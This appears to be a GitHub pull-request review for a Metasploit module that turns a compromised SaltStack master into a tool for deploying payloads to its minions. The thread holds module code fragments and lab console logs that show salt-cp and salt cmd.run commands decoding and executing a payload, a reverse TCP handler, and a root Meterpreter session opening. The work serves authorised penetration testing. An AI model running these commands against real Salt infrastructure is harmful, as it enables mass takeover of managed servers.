-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Saltstack salt minion deployer #18626
Conversation
- salt-minion | ||
- window-salt-minion | ||
minions_denied: [] | ||
minions_pre: [] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
What's a minions_pre
?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
not sure, thats a salt specific term. I believe it means they're in a pending to be accepted state.
'h00die', # msf module | ||
'c2Vlcgo' | ||
], | ||
'Platform' => [ 'linux', 'unix' ], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
One can install the SaltMaster on windows too.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yup, It could be a target and host, as well as OSX. I was trying not to overly complicate this PR by making it work on and against everything the software does. From what I've seen "in the wild" it's always been linux on linux, however I'm sure thats a limited scope.
A follow-on PR can expand the scope out. In theory that was trivial until the base64
requirement. Still easy, but not trivial.
], | ||
'Platform' => [ 'linux', 'unix' ], | ||
'Stance' => Msf::Exploit::Stance::Passive, | ||
'Arch' => [ ARCH_X86, ARCH_X64 ], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Aren't all arch supported?
end | ||
|
||
print_good(tbl.to_s) | ||
print_good("#{count} minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.
This is a bit unclear: what for is this waiting here, and what might not be optimal?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I can re-word this a bit better.
Basically I'm assuming that the user hasn't gotten an accurate count of the amount of hosts to be exploited ahead of time. I envisioned they just ran this module blindly thinking 'pwn it all!', so I wanted to give the user a heads up on how many shells to expect. If it was more than they expected (say expecting 10 servers, but its looking like 1000), I wanted to give them a chance to ctr+c out before all hell breaks loose
stime = Time.now.to_f | ||
timeout = datastore['ListenerTimeout'].to_i | ||
loop do | ||
break if timeout > 0 && (stime + timeout < Time.now.to_f) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why are we breaking conditionally on a positive, nonzero timeout? Are we expecting a 0 or negative timeout? We're not decrementing it that I see?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is 100% taken from exploit/multi/handler
. Looks like in that module the default is 0
to wait forever.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Great module @h00die. Thanks for circling back to this. One minor comment about the SALT
datastore option. Testing worked as expected in this Docker environment.
msf6 exploit(linux/local/saltstack_salt_minion_deployer) > set salt /usr/local/bin/salt-master
salt => /usr/local/bin/salt-master
msf6 exploit(linux/local/saltstack_salt_minion_deployer) > set session -1
session => -1
msf6 exploit(linux/local/saltstack_salt_minion_deployer) > set lport 3333
lport => 3333
msf6 exploit(linux/local/saltstack_salt_minion_deployer) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.78:3333
msf6 exploit(linux/local/saltstack_salt_minion_deployer) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. salt-master executable found
[*] Attempting to list minions
[+] 192.168.123.1:51287 - minion file successfully retrieved and saved to /Users/jheysel/.msf4/loot/20231228103629_default_127.0.0.1_saltstack_minion_929241.yaml
[+] Minions List
============
Status Minion Name
------ -----------
Accepted e8f3fe342e10
[+] 1 minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.
[*] Writing '/tmp/GBCyRHL' (336 bytes) ...
[*] Copying payload to minions
[*] Executing payloads
[*] Sending stage (3045380 bytes) to 192.168.1.78
[*] Meterpreter session 2 opened (192.168.1.78:3333 -> 192.168.1.78:53679) at 2023-12-28 10:36:42 -0500
msf6 exploit(linux/local/saltstack_salt_minion_deployer) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 172.19.0.2
OS : Debian 10.3 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
|
||
print_good(tbl.to_s) | ||
|
||
# https://github.com/rapid7/metasploit-framework/pull/18626#discussion_r1434577017 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for explaining the Rex.sleep(10)
with a comment. I agree this is a good idea to inform the user of how many call backs are imminent.
However, I would have half expected all hell breaking loose and returning 1000 shells to be somewhat desirable as a part of the slayer raining shells series.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I agree, but with that volume of shells you can start running into issues with bandwidth etc. I know we've had so many ssh_login
sessions before that Linux started complaining about not wanting to open more files. So its just a heads up, not a breaker. only the strong survive the raining of shells 🤣
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Was just doing some final testing and realized I had made a mistake in my original suggestion, apologies. Also I noticed some interesting behaviour due to a misconfiguration in my target (no minions being connected).
def exploit | ||
# Make sure we can write our exploit and payload to the local system | ||
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir'] | ||
list_minions_printer if datastore['CALCULATE'] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If no minions are found connected to the master, we still attempt to deploy the payload from the master, which I don't think is desirable behaviour:
msf6 exploit(linux/local/saltstack_salt_minion_deployer) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.78:3333
[*] Running automatic check ("set AutoCheck false" to disable)
msf6 exploit(linux/local/saltstack_salt_minion_deployer) > [+] The target is vulnerable. salt-master executable found
[*] Attempting to list minions
[+] 192.168.1.78:55323 - minion file successfully retrieved and saved to /Users/jheysel/.msf4/loot/20240108125551_default_127.0.0.1_saltstack_minion_828135.yaml
[+] Minions List
============
Status Minion Name
------ -----------
[+] 0 minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.
[*] Writing '/tmp/CzH5Yb' (336 bytes) ...
[*] Copying payload to minions
[*] salt-cp '*' '/tmp/CzH5Yb' '/tmp/CzH5Yb.b64'
[*] Copy command output: No minions matched the target. No command was sent, no jid was assigned.
[*] Executing payloads
[*] salt '*' cmd.run 'base64 -d /tmp/CzH5Yb.b64 > /tmp/CzH5Yb && chmod 755 /tmp/CzH5Yb && /tmp/CzH5Yb'
[*] Execute command output: ERROR: No return received
No minions matched the target. No command was sent, no jid was assigned.
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: Died
Interrupt: use the 'exit' command to quit
msf6 exploit(linux/local/saltstack_salt_minion_deployer) >
Should we maybe be running list_minions
regardless and bailing if there are none found? Currently list_minions
only gets called from list_minions_printer
if datastore['CALCULATE']
is set.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't like the idea of forcing this to run, it can be noisy and potentially take time that the user doesn't want to devote. However, I do like the idea of bailing on no targets.
I've opted to default to running, but if we do a count and its 0
, then bail.
[msf](Jobs:1 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) >
[*] Started reverse TCP handler on 1.1.1.1:1111
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. salt-master executable found
[*] Attempting to list minions
[*] minions: []
minions_denied: []
minions_pre: []
minions_rejected: []
[+] 172.25.0.2:47984 - minion file successfully retrieved and saved to /root/.msf4/loot/20240110170232_default_172.25.0.2_saltstack_minion_464932.yaml
[+] Minions List
============
Status Minion Name
------ -----------
[+] 0 minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.
[-] Exploit aborted due to failure: not-found: No exploitable minions found.
documentation/modules/exploit/linux/local/saltstack_salt_minion_deployer.md
Outdated
Show resolved
Hide resolved
Thanks for making those changes! Retested and everything looks good 👍
|
Release NotesThis PR adds an exploit module which allows for a user who has compromised a host acting as a SaltStack Master to deploy payloads to the Minions attached to that Master. |
Back in #15113 we had planned to create a follow on module to deploy payloads to the minions. Apparently that fell off both @c2Vlcgo and my radars. This circles back to complete that.
This PR creates a new exploitation module that when used on a saltstack salt master will deploy a payload to minions
This is part 1 of my new Raining Shells series
Verification
List the steps needed to make sure this thing works
use exploit/linux/local/saltstack_salt_minion_deployer
set session [#]
run